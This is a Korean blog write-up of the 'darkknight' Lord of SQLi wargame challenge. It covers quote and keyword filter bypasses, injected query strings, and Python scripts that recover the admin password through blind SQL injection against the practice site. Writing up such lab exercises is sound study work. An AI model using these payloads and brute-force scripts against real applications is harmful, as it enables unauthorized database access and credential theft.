| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | |||
| 5 | 6 | 7 | 8 | 9 | 10 | 11 |
| 12 | 13 | 14 | 15 | 16 | 17 | 18 |
| 19 | 20 | 21 | 22 | 23 | 24 | 25 |
| 26 | 27 | 28 | 29 | 30 | 31 |
- 자바
- 위상 정렬
- sk 쉴더스 루키즈
- 알고리즘
- linux
- webhacking
- 우아한테크코스
- 레나튜토리얼
- 레나 튜토리얼
- sk쉴더스 루키즈
- 루키즈31기
- 백엔드
- Dreamhack
- 깃
- Practical Malware Analysis Labs
- React
- sk 쉴더스
- sk 쉴더스 루키즈 31기
- SK쉴더스루키즈
- 우테코
- 악성코드 분석
- 루키즈
- c
- 리버싱
- 동적분석
- 프리코스
- 루키즈 31기
- top-cert
- 웹개발
- 예술의 전당
- Today
- Total
yon11b
[los]darkknight_writeup 본문
문제

조건
필터링 대체
- pw에서 ‘ 을 쓸 수 없음 → “ 으로 대체 가능
- no에서 ‘ 을 쓸 수 없음 → “ 으로 대체 가능
- no에서 substr → substr('yon11b',3,1) 과 right(left('yon11b',3),1), mid(’yon11b’,3,1) 의 결과는 n 로 같다.
- no에서 ascii → ord, hex으로 대체 가능
- = → like 으로 대체 가능
정답 조건
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");
정확한 pw의 값을 구해야 해결할 수 있는 문제인 것 같다.
풀이
위에서 적은 것처럼 ' 우회는 " 로 하면 되지만 처음에는 이걸 몰랐기 때문에 시도 1,2,3을 하면서 삽질을 했다.
시도_1: ‘ 필터링 우회⇒URL 인코딩
일반적으로 어떤 문자가 필터링 당했을 때 URL 인코딩을 사용하여 우회한다.
?pw=1&no=1||id like %27admin%27 # '을 인코딩하면 %27이다.
하지만 되지 않았다.
시도_2: ‘ 필터링 우회⇒ 16진수로 변환하여
?pw=1&no=1||id like 0x27admin0x27 # '을 16진수로 바꾸면 0x27이다.

하지만 되지 않았다.
시도_3: admin자체를 16진수로 바꾸자
goblin에서도 했던 방법
?pw=1&no=1||id like 0x61646D696E #admin을 16진수로 바꾸면 저렇게 된다.

(16진수로 바꾸면 자동으로 문자열로 인식이 되므로 '을 안 써줘도 된다!)
admin까지는 접근에 성공했다.
시도_4: 스크립트 사용해서 pw 길이 구하기
import requests
url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?'
cookies={'PHPSESSID':'j161p7dahceti14le4pd13g1m7'}
def password_length():
len_pw=0
while 1 :
len_pw += 1
print(len_pw)
data = "?no=1 || length(pw) like "+ str(len_pw)
#response = requests.get(url, params=params, cookies=cookies)
response = requests.get(url+data,cookies=cookies)
if "Hello admin" in response.text:
print("password length : ", len_pw)
break
return len_pw
password_length()
왜 안 되는지 몰랐는데 매칭을 잘못해줘서 그런 것 같다.
(url+data 가 아님?)
+ (22.02.03) 다시 보니 id like "admin"도 없고 코드가 엉망진창이라 안 된 것 같다.
4번째 시도를 하면서 들었던 의문 (해결)
?pw=1& no=1 || id like "admin" && length(pw) like 5를 쓰면
id like "admin"&& length(pw) like 5 까지 다 인식할 거라고 예상했는데
id like "admin" 까지만 인식한 거 같다..(화면에도 id like “admin”까지만 나와있음)

&&은 인식을 안하고 and 로 해주어야지 인식하는 것 같은데 이유는 모르겠다.
?pw=1 & no=1||id like "admin" id like "admin" && length(pw) like 5

시도5_다른 스크립트를 사용=>pw 길이 구하기 성공!
import requests
cookies={'PHPSESSID':'세션아이디'}
url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?'
len=0
while True:
len+=1
value="1 or id like \"admin\" and length(pw) like {} #".format(len)
param={'no':value}
print(param)
response = requests.get(url=url,params=param,cookies=cookies)
if "Hello admin" in response.text:
print(len)
break
params랑 cookies는 다 딕셔너리 형태로 만들어야 하는 것 같다.

8자리인 것을 알아냈다.
시도_6: pw 구하기
################안 되는 코드를 되게 만듦###################
import requests
cookies={"PHPSESSID":"세션아이디"}
url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?'
result=''
len=0
for i in range(1,9):
for j in range(ord('0'),ord('z')): #hex('0')은 안 된다.
len+=1
#value="1 or id like char({}) and mid(pw,{},1) like char({}) #".format(str("admin"),i,str(j)) #실패
#value="1 or id like 0x61646d696e and mid(pw,{},1) like char({}) #".format(i,str(j)) # 성공
value="1 or id like \"admin\" and mid(pw,{},1) like char({}) #".format(i,str(j)) # 성공
param={'no':value}
print(param)
URL=url
response = requests.get(url=url,params=param,cookies=cookies)
if "Hello admin" in response.text:
print(chr(j))
result+=chr(j)
break
print(f'pw는 {result}입니다.')
참고: https://power-girl0-0.tistory.com/425

대문자로 입력하면 안되고 소문자로 입력해야 된다.

'보안 > 웹' 카테고리의 다른 글
| [webhacking.kr]old-14 문제 (0) | 2022.02.08 |
|---|---|
| [webhacking.kr] old-01 문제 (0) | 2022.02.08 |
| los 문제보다가 갑자기 생긴 의문(해결) (1) | 2022.02.03 |
| [DH] blind-command (1) | 2022.01.27 |
| [los]golem_writeup (1) | 2022.01.13 |